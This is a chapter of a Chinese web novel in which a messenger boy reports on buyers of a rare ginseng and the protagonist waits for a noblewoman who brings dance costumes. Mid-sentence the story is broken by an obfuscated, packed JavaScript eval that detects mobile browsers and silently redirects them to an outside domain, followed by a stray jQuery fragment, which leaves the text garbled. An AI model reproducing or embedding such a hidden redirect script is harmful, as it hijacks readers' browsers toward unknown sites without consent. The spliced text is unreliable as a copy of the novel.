33. 舞娘诱惑
作品:《公子好囚》 “天可算晴了,这些日子真是把人都给憋坏了。”
“行了,别偷懒了。”一年长的花奴,笑着催促条凳上的好友,“趁早上日头刚升起来,咱们把屋子里的花,都搬出来晒晒。”
“好嘞,这就来!”
“应主子手艺真好,这些不应季的花,居然都养得这么好。”
“可不是么,主子养的花,不仅颜色漂亮,味道还香。有些品种,连我这种在地里干了一辈子的人,都没见过呢。有时候,是真想让应主子教我养花啊。”
“大白天,就不要说梦话了。”
叩叩——
两人嬉戏打闹间,院外传来敲门声。
开门一看,是个八九岁的孩童。他模样稚嫩,唇红齿白。身上穿着粗麻短衣,臂间还挎着一个竹篮,一见花奴便眉眼弯弯,嘴甜问好。
“姐姐们好,要不要来点时兴的芋头饽饽尝尝?都是家里人自己做的。”
花奴们皆面面相觑,犹豫不决。这院子平日里清静得很,少有人来,怎的今日突然冒出个卖糕点的?更奇怪的是,门外守着的人竟也没阻拦。
“姐姐?”
就在花奴们不知所措时,一道慵懒的声音从廊下传来,“让他进来吧。”
她们转头一看,才发现闻应祈不知何时已经走到了廊柱旁,手背在身后,漫不经心道。
“要有人问起来,就说是涎馋想吃。”
花奴:“......”
——
“昌十?你怎么过来了?不是说好,只用字条传递消息吗?”
闻应祈带着他进了屋,屋门一关,窗也拴紧,他这才翻身上床,放开声音说话。
昌十咧嘴一笑,露出几颗白牙,“嘿嘿,郎君我想你啦。”
涎馋闻香而出,急得绕昌十的裤腿团团打转,直到昌十往它嘴里扔了一块饽饽才消停。
“少来。”闻应祈白他一眼,懒懒翻了个身,背对他躺着。
昌十见讨巧不成,只好老老实实道:“其实嘛……是因为郎君不在,我有些字还不会写,画也画不出来,没办法,只好冒险过来了。”
闻应祈:“......”
“让你看的《三字经》、《千字文》、《百家姓》都看完了?”
“看完了,看完了。不仅看完了,我还会背了呢!”
“行吧。”闻应祈叹了口气,“那你今天特意过来,是有什么要紧的事要说?”
“当然有!我根据郎君您给的几家药铺名字,一个一个问过去,发现上京只有四户人家最近买了华山参。”
闻应祈闻言,神色一敛,坐直身子,“说来听听。”
“第一家是当今太子府;第二家是陇西县主府;三是尚书大人府;最后一个就是御史大人府啦。”
“反正都是些官老爷们的府邸,郎君您让我打听这个,是查到了什么吗?”
“嗯。”闻应祈听完,不置一词,垂眸思索。
太子身体不好,人尽皆知,买些华山参补补无可厚非。只是他已娶妻,送人手帕这事,太过私密,应当不会做。
县主身体强壮,又是女子,自然不可能用男子的手帕,这个可以直接从根源上排除。
那剩下的就只有尚书府和御史府了。
“你知道尚书府和御史府近期有什么人生病吗?”
“这个不知道。”昌十摇头,“这些官老爷的府邸,我连大门都靠近不了,更别提去打听了。”
“好吧。”
“不过!”他似是想起了什么,神色振奋地凑上前,“我还有个好消息要告诉郎君!我好像在街上看见那个,之前救过我们性命的恩公了!”
昌十见他无甚反应,自顾自继续道。
“一直没机会跟您说。那天,我一路跟着他们,见他进了县主府,就没敢再跟上去了。”
“好。”闻应祈听完,语气淡淡,指尖勾弄着发带,目光却飘向窗外,整个人有些心不在焉,“知道了。”
“郎君!”昌十见他神色冷淡,心里顿时不满,语气也冲了几分,“您难道就不想知道,他是谁吗?”
“要不是他那一百两银子,您当初早就病死在床上了!您不是常说‘滴水之恩,当涌泉相报’吗?怎么现在……现在反而成了这样!”
闻应祈依旧没有搭话。
昌十越说越激动,脸涨得通红,“您是不是在这待久了,就不想出去了?如果您不去找,那我就......我就自己去找!哪怕豁出这条命,我也要亲自去报答他!”
他这边说的义愤填膺,唾沫星子飞溅,可闻应祈却仿若未闻,仍旧一副懒散模样,眼皮都懒得抬一下。
“郎君!”
“嘘——”他突然抬手覆在唇上,轻轻做了个噤声的动作,同时头也探出窗外。
昌十猝不及防,被他这一打断,顿时跟泄了气的皮球似的,浑身无力,瘫在圆椅上。
直到他也隐约听见门口处传来的几声动静,像是有人进了院子。他不由竖起耳朵,正准备细听,忽然被闻应祈一把拽住,用宽大的衣袖兜头罩住脑袋。还没反应过来,就被他推着往外赶。
“走侧门!”闻应祈压低声音,急急道:“外院靠墙那儿有个狗洞,你从那钻出去,动作轻点儿,别被人发现!”
昌十:“……”
——
送走了昌十,闻应祈这才一改原先轻颓姿态,重新理了理头上被压歪的花枝,想了想,又将衣襟扯松了些,露出半截锁骨,带着一点不经意的疏朗风流。
然而,一番收拾妥当后,他靠在罗汉床上等了半天,外头却迟迟没动静。既不见人进来,也不见人喊他。
他低头拨弄着衣摆,耐着性子又等了一会,依旧不见半点人影。
闻应祈心里升起几分烦躁。
开门催人?那是断断不行的。若让外头那些花奴看了去,指不定背地里嚼舌根,说他整日里无事可做,光会等着人上门。
可这大半天的等待,真真磨人得紧。
他侧耳倾听,屋里清净,倒衬得院外越发嘈嘈切切,似乎比往常还热闹几分。听了一会儿,断断续续的谈话声里竟隐约还有笑声,闻应祈脸色更加不郁。
这些花奴,平日看着一个个眼明心亮的,关键时刻,竟连个通透的都没有!也不晓得来屋里叫叫他这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794708|152800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个主子!
他放好衣摆,从床上起身,朝门边踱了两步,手扶在门框上,又犹豫着停下。
到底是开门还是不开门呢?
开门显得自己心急,不开,等待又实在煎熬。
他这厢竿上秤砣,左右摇摆。门外的人却不给他磨蹭的机会。
‘嘭——’
木门被人用力推开,甚至撞得微微晃了两下,随后直直敞开,露出门外气喘吁吁的花见。他手里提着两个大官皮箱,背上还背了个包袱。
门内的闻应祈,完全始料不及。连闪避的机会都没有,鼻尖就结结实实撞在了门框上。
‘嘶——’一声凉气从他嘴里溢出,他捂着鼻梁弯下腰,半天没能说出话来。
花见站在门口也愣住了,原本风风火火的架势霎时间僵住,他眨巴着眼睛,意识到自己闯了祸。
可他又咿呀咿呀,说不出话来,手足无措站在原地,急得满头大汗。
还是谢令仪进来,替他解了围。
“你没事站门口做什么?”
“我!”闻应祈想回答,想借机撒泼,却找不到合适的借口。直接坦白自己是在这特意等她,这话怎么好说出口!
最后,他只有恶狠狠瞪了花见一眼,暗声吃了这个闷亏。
“奴弹琴腿坐麻了,站起来走走不行吗!”
“可以。”谢令仪对此十分理解,“那你先把鼻血擦擦,都流出来了。”
闻应祈:“......”
不生气,气出病来太可惜,这亏,他总不会白吃。
谢令仪说完,便掠过他,径直吩咐花见把官皮箱往屋里搬,压根忘了她方才说过的话——有人流鼻血了,且还流出来了。
闻应祈心里又是一阵郁闷,幽怨的目光,犹如实质,一圈一圈,简直能把花见活活绞死。凄凄惨惨一个人包好鼻子后,火气还是没降下去。
他看着花见忙碌的身影,颇为不爽。
“他在干什么?这箱子里装的又是什么?”
“衣裳。”谢令仪吃了一块圆桌上放着的芋头饽饽,嘴里含糊不清,就听他幽幽质问。
“衣裳?”
“对,准确来说是戏服,跳祭火舞的戏服。”
“那也用不了这么多吧。”闻应祈狐疑地盯着那满架子绫罗绸缎,嘴角直抽。
“嗯。”谢令仪喝口茶,径直道:“因为做衣裳的绣娘,不知你身体尺寸。我便让她多做了几件,挑合适的穿。”
“何必这么麻烦。”闻应祈闻言,小声嘟囔,“那晚留下来不就好了?”
“你说什么?”谢令仪一口茶差点喷出来。
“没什么。”他皮笑肉不笑,“奴现在就去试试。”
谢令仪:“......”
那倒也不用如此着急。
“等你鼻子上的伤好了再说吧。”
“那贵人送完戏服,是不是就会离开?”
“对,我待会——”
“那奴就要现在试。”她话还没说完,就被闻应祈中途抢白。
“好,那我先出去。”
“不用。”闻应祈干脆利落关紧门。